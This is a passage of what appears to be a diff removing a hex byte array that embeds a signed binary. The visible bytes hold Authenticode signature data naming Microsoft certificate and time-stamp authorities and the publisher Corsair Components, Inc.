0xE4, 0xB6, 0x1A, - 0xC4, 0xF2, 0x46, 0x36, 0xDE, 0x35, 0x73, 0x02, 0xC1, 0xB5, 0xE5, 0x5F, - 0xB9, 0x2B, 0x59, 0x45, 0x7A, 0x92, 0x43, 0xD7, 0xC4, 0xE9, 0x63, 0xDD, - 0x36, 0x8F, 0x76, 0xC7, 0x28, 0xCA, 0xA8, 0x44, 0x1B, 0xE8, 0x32, 0x1A, - 0x66, 0xCD, 0xE5, 0x48, 0x5C, 0x4A, 0x0A, 0x60, 0x2B, 0x46, 0x92, 0x06, - 0x60, 0x96, 0x98, 0xDC, 0xD9, 0x33, 0xD7, 0x21, 0x77, 0x7F, 0x88, 0x6D, - 0xAC, 0x47, 0x72, 0xDA, 0xA2, 0x46, 0x6E, 0xAB, 0x64, 0x68, 0x2B, 0xD2, - 0x4E, 0x98, 0xFB, 0x35, 0xCC, 0x7F, 0xEC, 0x3F, 0x13, 0x6D, 0x11, 0xE5, - 0xDB, 0x77, 0xED, 0xC1, 0xC3, 0x7E, 0x1F, 0x6A, 0x4A, 0x14, 0xF8, 0xB4, - 0xA7, 0x21, 0xC6, 0x71, 0x86, 0x67, 0x70, 0xCD, 0xD8, 0x19, 0xA3, 0x5D, - 0x1F, 0xA0, 0x9B, 0x9A, 0x7C, 0xC5, 0x5D, 0x4D, 0x72, 0x8E, 0x74, 0x07, - 0x7F, 0xA7, 0x4D, 0x00, 0xFC, 0xDD, 0x68, 0x24, 0x12, 0x77, 0x2A, 0x55, - 0x75, 0x27, 0xCD, 0xA9, 0x2C, 0x1D, 0x8E, 0x7C, 0x19, 0xEE, 0x69, 0x2C, - 0x9F, 0x74, 0x25, 0x33, 0x82, 0x08, 0xDB, 0x38, 0xCC, 0x7C, 0xC7, 0x4F, - 0x6C, 0x3A, 0x6B, 0xC2, 0x37, 0x11, 0x78, 0x72, 0xFE, 0x55, 0x59, 0x64, - 0x60, 0x33, 0x3E, 0x2E, 0xDF, 0xC4, 0x2D, 0xE7, 0x2C, 0xD7, 0xFB, 0x0A, - 0x82, 0x25, 0x6F, 0xB8, 0xD7, 0x0C, 0x84, 0xA5, 0xE1, 0xC4, 0x74, 0x6E, - 0x2A, 0x95, 0x32, 0x9E, 0xA0, 0xFE, 0xCD, 0xB4, 0x18, 0x8F, 0xD3, 0x3B, - 0xAD, 0x32, 0xB2, 0xB1, 0x9A, 0xB8, 0x6D, 0x05, 0x43, 0xFB, 0xFF, 0x0D, - 0x0F, 0x31, 0x82, 0x16, 0x6B, 0x30, 0x82, 0x16, 0x67, 0x02, 0x01, 0x01, - 0x30, 0x81, 0xA6, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, - 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, - 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, - 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, - 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, - 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, - 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, - 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, - 0x66, 0x74, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, - 0x68, 0x69, 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, - 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, - 0x32, 0x30, 0x31, 0x34, 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0x31, 0x94, - 0x79, 0xA3, 0x18, 0xF5, 0x52, 0x2D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x31, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, - 0x02, 0x01, 0x05, 0x00, 0xA0, 0x81, 0xDC, 0x30, 0x19, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, 0x06, 0x0A, - 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0x30, 0x1C, - 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0B, - 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, - 0x37, 0x02, 0x01, 0x15, 0x30, 0x2F, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, - 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, 0xBF, 0x15, 0x65, - 0xBB, 0x8C, 0x54, 0x24, 0xB5, 0x63, 0xD5, 0x97, 0x57, 0x26, 0xD3, 0x35, - 0xA2, 0x17, 0x93, 0xFE, 0xCF, 0x4B, 0x0C, 0x02, 0x1C, 0x36, 0x7C, 0x2E, - 0xE5, 0xA3, 0x79, 0x5A, 0x83, 0x30, 0x70, 0x06, 0x0A, 0x2B, 0x06, 0x01, - 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x62, 0x30, 0x60, 0xA0, - 0x32, 0x80, 0x30, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x73, 0x00, - 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, 0x00, - 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6E, 0x00, - 0x74, 0x00, 0x73, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, - 0x63, 0x00, 0x2E, 0xA1, 0x2A, 0x80, 0x28, 0x68, 0x74, 0x74, 0x70, 0x73, - 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, - 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x65, 0x6E, 0x2D, - 0x75, 0x73, 0x2F, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, - 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0xA9, 0x9C, 0x65, 0x1B, 0x24, 0xBA, - 0x66, 0xD6, 0x64, 0x9F, 0x5D, 0xF4, 0xB0, 0x0B, 0x48, 0x12, 0x21, 0x67, - 0xE5, 0xE8, 0x22, 0x70, 0x62, 0x99, 0xB9, 0xD0, 0x22, 0x63, 0xD6, 0x0C, - 0xC1, 0xA5, 0xF1, 0xCC, 0x3B, 0x42, 0x68, 0xB3, 0x7F, 0x54, 0x50, 0x08, - 0x1D, 0x03, 0x31, 0xCE, 0x70, 0x44, 0xF9, 0x94, 0xA6, 0xCE, 0xAA, 0x7C, - 0xDB, 0x3E, 0x78, 0x01, 0xA4, 0x43, 0xA1, 0x5A, 0xA8, 0x4D, 0x38, 0x0F, - 0xCB, 0xAF, 0x1A, 0x5C, 0x92, 0xB4, 0xDC, 0x4D, 0xF9, 0x1D, 0xE9, 0xAC, - 0x4D, 0x3D, 0xD8, 0x09, 0x68, 0x09, 0x0E, 0xE9, 0x0A, 0x6F, 0x6D, 0xD9, - 0x13, 0xF1, 0xB8, 0x35, 0xEE, 0xAF, 0x43, 0x99, 0x7B, 0xFF, 0x38, 0xB0, - 0x6A, 0xF8, 0x9B, 0xFC, 0x4A, 0x07, 0xD5, 0x62, 0x57, 0xE1, 0x99, 0xF9, - 0x10, 0xAD, 0x99, 0x71, 0x6D, 0xAD, 0x21, 0xB9, 0x41, 0x9F, 0xCC, 0x7D, - 0xB8, 0x08, 0x3E, 0x1C, 0x0E, 0xC2, 0x40, 0x96, 0x9A, 0x02, 0xBC, 0x93, - 0x55, 0x77, 0x52, 0x35, 0xA0, 0x6E, 0xF8, 0x92, 0x83, 0xBB, 0x00, 0x47, - 0x3E, 0xE0, 0x19, 0x79, 0x72, 0x28, 0x76, 0x22, 0xE2, 0x2C, 0xF6, 0x2D, - 0x54, 0x61, 0x8C, 0x72, 0x58, 0x55, 0x7F, 0xF5, 0xAE, 0xB8, 0xC1, 0x33, - 0x8E, 0x2E, 0x81, 0xB8, 0xBA, 0x57, 0x1F, 0x95, 0xED, 0x23, 0xD3, 0xDB, - 0x78, 0x75, 0x22, 0x42, 0x53, 0x81, 0x26, 0x2E, 0xEC, 0x48, 0x43, 0x03, - 0xD6, 0xE8, 0x39, 0xE7, 0xC8, 0x09, 0xF6, 0x54, 0xA2, 0xFC, 0xCE, 0xCB, - 0xE0, 0xC7, 0xF5, 0xE8, 0x38, 0x2D, 0x91, 0x9A, 0x85, 0xE2, 0x3E, 0x4E, - 0xFC, 0xBC, 0xB4, 0xAA, 0xDB, 0xDC, 0x9D, 0x69, 0x34, 0x0E, 0x2D, 0x26, - 0x1B, 0xA3, 0x9B, 0xFD, 0x03, 0xEC, 0x09, 0x7E, 0x21, 0x23, 0x0A, 0x1A, - 0x05, 0xF8, 0x34, 0xC8, 0x8A, 0xE9, 0x78, 0x5D, 0x7D, 0xE3, 0xA1, 0x82, - 0x13, 0xB6, 0x30, 0x82, 0x13, 0xB2, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, - 0x01, 0x82, 0x37, 0x03, 0x03, 0x01, 0x31, 0x82, 0x13, 0xA2, 0x30, 0x82, - 0x13, 0x9E, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, - 0x02, 0xA0, 0x82, 0x13, 0x8F, 0x30, 0x82, 0x13, 0x8B, 0x02, 0x01, 0x03, - 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, - 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, 0x82, 0x01, 0x57, 0x06, 0x0B, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x01, 0x04, 0xA0, 0x82, - 0x01, 0x46, 0x04, 0x82, 0x01, 0x42, 0x30, 0x82, 0x01, 0x3E, 0x02, 0x01, - 0x01, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x03, - 0x01, 0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, - 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20, 0x22, 0x08, 0x1E, 0xB5, - 0x69, 0x27, 0x90, 0xF2, 0x39, 0x7B, 0x3D, 0xB6, 0x64, 0xC7, 0xB5, 0x00, - 0xAE, 0xFC, 0x84, 0xC8, 0x32, 0x63, 0x6A, 0xA5, 0xAB, 0x74, 0x85, 0x05, - 0xD0, 0x01, 0xF1, 0x23, 0x02, 0x06, 0x5D, 0xAE, 0x20, 0x7E, 0x4C, 0x67, - 0x18, 0x12, 0x32, 0x30, 0x31, 0x39, 0x31, 0x30, 0x32, 0x38, 0x32, 0x33, - 0x34, 0x31, 0x33, 0x31, 0x2E, 0x39, 0x38, 0x5A, 0x30, 0x07, 0x02, 0x01, - 0x01, 0x80, 0x02, 0x01, 0xF4, 0xA0, 0x81, 0xD4, 0xA4, 0x81, 0xD1, 0x30, - 0x81, 0xCE, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, - 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, - 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, - 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, - 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, - 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, - 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, - 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, - 0x65, 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x26, 0x30, - 0x24, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x1D, 0x54, 0x68, 0x61, 0x6C, - 0x65, 0x73, 0x20, 0x54, 0x53, 0x53, 0x20, 0x45, 0x53, 0x4E, 0x3A, 0x33, - 0x31, 0x43, 0x35, 0x2D, 0x33, 0x30, 0x42, 0x41, 0x2D, 0x37, 0x43, 0x39, - 0x31, 0x31, 0x25, 0x30, 0x23, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1C, - 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, - 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0xA0, 0x82, 0x0F, 0x1F, 0x30, 0x82, 0x04, 0xF5, - 0x30, 0x82, 0x03, 0xDD, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x13, 0x33, - 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, 0xE9, 0xF9, 0xAD, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x7C, 0x31, - 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, - 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, - 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, - 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, - 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, - 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, - 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, - 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, - 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, - 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, - 0x30, 0x31, 0x30, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x39, 0x30, 0x39, 0x30, - 0x36, 0x32, 0x30, 0x34, 0x31, 0x30, 0x38, 0x5A, 0x17, 0x0D, 0x32, 0x30, - 0x31, 0x32, 0x30, 0x34, 0x32, 0x30, 0x34, 0x31, 0x30, 0x38, 0x5A, 0x30, - 0x81, 0xCE, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, - 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, - 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, - 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, - 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, - 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, - 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, - 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, - 0x65, 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x26, 0x30, - 0x24, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x1D, 0x54, 0x68, 0x61, 0x6C, - 0x65, 0x73, 0x20, 0x54, 0x53, 0x53, 0x20, 0x45, 0x53, 0x4E, 0x3A, 0x33, - 0x31, 0x43, 0x35, 0x2D, 0x33, 0x30, 0x42, 0x41, 0x2D, 0x37, 0x43, 0x39, - 0x31, 0x31, 0x25, 0x30, 0x23, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1C, - 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, - 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, - 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, - 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, - 0x00, 0xDA, 0x03, 0xF5, 0x64, 0xD4, 0xCD, 0x2F, 0x7B, 0xBC, 0x99, 0xFC, - 0x97, 0xCC, 0xE4, 0x32, 0x0B, 0xE9, 0x83, 0x5A, 0x81, 0xDE, 0x07, 0x3A, - 0x69, 0x65, 0xE9, 0x29, 0xB7, 0xC8, 0xFD, 0x18, 0xE2, 0x24, 0x69, 0x43, - 0xCB, 0xFE, 0xAB, 0xAB, 0xA2, 0xB6, 0x5F, 0x0E, 0x99, 0x9A, 0x85, 0x4B, - 0xFA, 0x72, 0x7A, 0x39, 0xC3, 0x57, 0xC3, 0x00, 0xAD, 0x74, 0x29, 0x16, - 0x1D, 0xF9, 0x3F, 0xA8, 0x7C, 0x22, 0xE3, 0xBD, 0xC6, 0x10, 0x78, 0x43, - 0xAF, 0x2A, 0x02, 0x95, 0x82, 0xA3, 0x53, 0x8E, 0x43, 0xEC, 0x0B, 0x7C, - 0xA0, 0x8A, 0xF6, 0x90, 0xF0, 0x69, 0xD0, 0x28, 0xAD, 0x72, 0xD5, 0x30, - 0xC5, 0xE3, 0x2D, 0x77, 0x1E, 0x33, 0x60, 0x67, 0x63, 0x13, 0x6C, 0x93, - 0x85, 0xBC, 0x5A, 0x68, 0x20, 0x41, 0x2B, 0xAE, 0x03, 0xAB, 0xDB, 0x1A, - 0xAF, 0xE6, 0xC5, 0x66, 0x93, 0xAA, 0xC6, 0x4A, 0xBD, 0x0E, 0xBA, 0xA3, - 0x16, 0x72, 0xCF, 0xD8, 0x6C, 0x1B, 0xB0, 0x75, 0x42, 0x0D, 0x5A, 0xF0, - 0x59, 0x7F, 0xE5, 0x89, 0x97, 0xA5, 0xBF, 0xB6, 0x48, 0xE0, 0xDE, 0x37, - 0x3B, 0x3D, 0x26, 0xBD, 0xCB, 0x31, 0x08, 0x34, 0xDC, 0xA3, 0xAD, 0x79, - 0x57, 0xA5, 0x8F, 0x16, 0x80, 0x1D, 0x4D, 0x88, 0x9B, 0xB7, 0xFE, 0xDE, - 0x79, 0xFD, 0x1C, 0xA6, 0xED, 0x04, 0xFF, 0x10, 0x15, 0xDD, 0x22, 0x59, - 0x6E, 0xB5, 0xC7, 0x01, 0x79, 0xED, 0x69, 0x90, 0x38, 0x8C, 0xCD, 0xD5, - 0x3E, 0x0C, 0xF0, 0xC4, 0x9D, 0xCC, 0xF3, 0x51, 0xBA, 0xCF, 0x18, 0x9F, - 0x47, 0xE3, 0x6F, 0xCD, 0x3A, 0x2F, 0x66, 0x1A, 0x9D, 0xDB, 0x78, 0x6D, - 0x5F, 0xB7, 0x39, 0x14, 0xCB, 0xC8, 0xDF, 0xB6, 0x93, 0x03, 0xA6, 0x33, - 0xE4, 0xC0, 0xF8, 0xC8, 0x44, 0x71, 0x0A, 0x94, 0x45, 0x86, 0x8E, 0x07, - 0x8A, 0x73, 0x4B, 0x6F, 0xB1, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, - 0x01, 0x1B, 0x30, 0x82, 0x01, 0x17, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, - 0x0E, 0x04, 0x16, 0x04, 0x14, 0xF7, 0xE3, 0x0B, 0x32, 0x20, 0xCC, 0xE5, - 0x64, 0xC4, 0x55, 0xC5, 0xE3, 0x67, 0x08, 0x22, 0x95, 0xBD, 0x94, 0x12, - 0xE4, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, - 0x80, 0x14, 0xD5, 0x63, 0x3A, 0x5C, 0x8A, 0x31, 0x90, 0xF3, 0x43, 0x7B, - 0x7C, 0x46, 0x1B, 0xC5, 0x33, 0x68, 0x5A, 0x85, 0x6D, 0x55, 0x30, 0x56, - 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4F, 0x30, 0x4D, 0x30, 0x4B, 0xA0, - 0x49, 0xA0, 0x47, 0x86, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, - 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, - 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, - 0x69, 0x63, 0x54, 0x69, 0x6D, 0x53, 0x74, 0x61, 0x50, 0x43, 0x41, 0x5F, - 0x32, 0x30, 0x31, 0x30, 0x2D, 0x30, 0x37, 0x2D, 0x30, 0x31, 0x2E, 0x63, - 0x72, 0x6C, 0x30, 0x5A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, - 0x01, 0x01, 0x04, 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0x06, 0x08, 0x2B, 0x06, - 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x3E, 0x68, 0x74, 0x74, 0x70, - 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, - 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, - 0x2F, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x54, 0x69, - 0x6D, 0x53, 0x74, 0x61, 0x50, 0x43, 0x41, 0x5F, 0x32, 0x30, 0x31, 0x30, - 0x2D, 0x30, 0x37, 0x2D, 0x30, 0x31, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x0C, - 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02, 0x30, 0x00, - 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0D, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, - 0x03, 0x82, 0x01, 0x01, 0x00, 0x44, 0x0A, 0xA4, 0xEE, 0x18, 0xA5, 0x8A, - 0xFF, 0xCC, 0xF0, 0x10, 0x67, 0x61, 0x0D, 0x40, 0xFE, 0x93, 0x9C, 0xA2, - 0xF5, 0xA0, 0x52, 0xA9, 0xC4, 0x2B, 0xB6, 0x9F, 0x0C, 0x0E, 0x6D, 0x41, - 0x78, 0xD6, 0x33, 0x14, 0xA6, 0xAE, 0xBF, 0x24, 0x5E, 0xC1, 0xFD, 0x62, - 0xA0, 0x5B, 0x14, 0xBF, 0xDC, 0x7B, 0x30, 0x27, 0x04, 0x5E, 0x34, 0x9E, - 0x7D, 0x99, 0x7C, 0x77, 0xE1, 0x3E, 0x93, 0x4D, 0x58, 0xA6, 0x56, 0x2E, - 0xB9, 0xCB, 0xA3, 0x63, 0x78, 0x50, 0x94, 0xF6, 0xD8, 0x0F, 0x71, 0x35, - 0xDF, 0x67, 0xAD, 0x25, 0x90, 0x9B, 0xCB, 0xB1, 0x53, 0x14, 0xDB, 0xFE, - 0x98, 0x9C, 0x61, 0x7B, 0x9F, 0xFB, 0xDD, 0xDE, 0x53, 0xA0, 0x8F, 0x2E, - 0x4A, 0xB3, 0xEF, 0xF4, 0x9B, 0xBA, 0x3D, 0x4C, 0x42, 0xAF, 0x75, 0x34, - 0x35, 0x70, 0x3A, 0xFD, 0x9B, 0x2C, 0x0B, 0x4D, 0xBB, 0x4B, 0x5A, 0x3E, - 0xFD, 0xE3, 0x95, 0xFA, 0xDC, 0x46, 0x27, 0x8E, 0x35, 0xFB, 0x3A, 0x6D, - 0x76, 0x79, 0x28, 0x72, 0x33, 0xDC, 0xB0, 0xFB, 0x7E, 0xE1, 0xA6, 0x7E, - 0xDE, 0xE9, 0xC2, 0x71, 0x77, 0x4B, 0xEB, 0x96, 0x5F, 0x75, 0x2D, 0x23, - 0x8F, 0x40, 0x76, 0xF8, 0xFB, 0xA1, 0xF8, 0x4D, 0x01, 0xFD, 0x40, 0xEB, - 0xA1, 0x8D, 0x20, 0xBF, 0x5F, 0x00, 0x0B, 0x2D, 0x18, 0xD9, 0x66, 0x93, - 0x83, 0x6C, 0x9F, 0x36, 0x81, 0x74, 0x8C, 0x75, 0x16, 0x60, 0x60, 0x0D, - 0xB3, 0x7D, 0xAE, 0x51, 0x6D, 0x9F, 0x90, 0x13, 0xE7, 0xC8, 0x55, 0x76, - 0x09, 0xAB, 0xBF, 0x4B, 0x9C, 0xB7, 0x2F, 0x8B, 0x59, 0x16, 0x86, 0x2B, - 0xB9, 0xE5, 0xC0, 0x91, 0x3E, 0x37, 0x3B, 0x59, 0xF6, 0x9E, 0x9E, 0x2A, - 0xB2, 0xBA, 0x50, 0x2F, 0x02, 0x84, 0x5F, 0xF3, 0x3E, 0xEB, 0x03, 0xD8, - 0xE9, 0x39, 0xF8, 0xA4, 0x7E, 0x30, 0xE4, 0x15, 0xF6, 0x30, 0x82, 0x06, - 0x71, 0x30, 0x82, 0x04, 0x59, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x0A, - 0x61, 0x09, 0x81, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x30, 0x0D, - 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, - 0x00, 0x30, 0x81, 0x88, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, - 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, - 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, - 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, - 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, - 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, - 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, - 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x32, 0x30, 0x30, 0x06, 0x03, 0x55, 0x04, - 0x03, 0x13, 0x29, 0x4D, 0x69, 0x63, 0x72, 